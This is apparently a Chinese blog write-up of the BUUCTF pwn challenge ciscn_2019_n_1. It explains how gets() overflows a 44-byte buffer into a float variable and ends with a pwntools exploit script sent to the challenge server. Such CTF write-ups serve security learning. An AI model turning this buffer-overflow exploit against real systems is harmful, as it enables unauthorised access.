BUUCTF-ciscn_2019_n_1

第一次写题解记录，主要记录下会用到的手段，会显得有点繁琐。这道题只要直接确定溢出位置在exp里写payload发送就好了

检查下保护情况

放进ida分析，搜索字符串，定位到主要函数的位置

• 可以看到当v2等于11.28125时就会输出flag，而且v2为float类型。
• 只有一个输入点gets(v1)，没对输入进行限制，存在溢出点

可以判断出本题是通过输入v1溢出覆盖v2的值为11.28125获取flag。

v1位置为rbp-30h,v2为rbp-4h,距离为

与char v1[44]中的44相等，所以v1填充完44后溢出就直接会覆盖到v2的位置，只需要在44字节后填充浮点数11.28125即可
（可以先打断点在if处，然后在ida中动态调试Hex-view中按F2对溢出位置进行修改为对应数值看下是否可行）

# <表示小端，f表示浮点数
struct.pack('<f',11.28125)
# b'\x00\x804A'

# 或者用其他方式得到该浮点数的十六进制形式，再转成字节形式
# 虽然程序是64位，因为单精度浮点数为4字节，所以用p32转成4字节
p32(0x41348000)
# b'\x00\x804A'

python中的pwntool打开gdb调试(方便发送不可输入的字符和查看stack变化)

发送payload后

可以看到指定位置已经被覆盖为我们需要的字节,然后在gdb中继续执行

执行完后可以看到pwntool中的交互模式出现了cat指令的执行。

基于以上本地实验，可以写出如下exp:

from pwn import *
import struct

p = remote('node4.buuoj.cn',25843)
payload = b'a'*44 + struct.pack('<f',11.28125)

p.sendline(payload)
p.interactive()

标签：BUUCTF,ciscn,44,11.28125,v1,v2,2019,payload,溢出
来源： https://www.cnblogs.com/asahimoon/p/15192021.html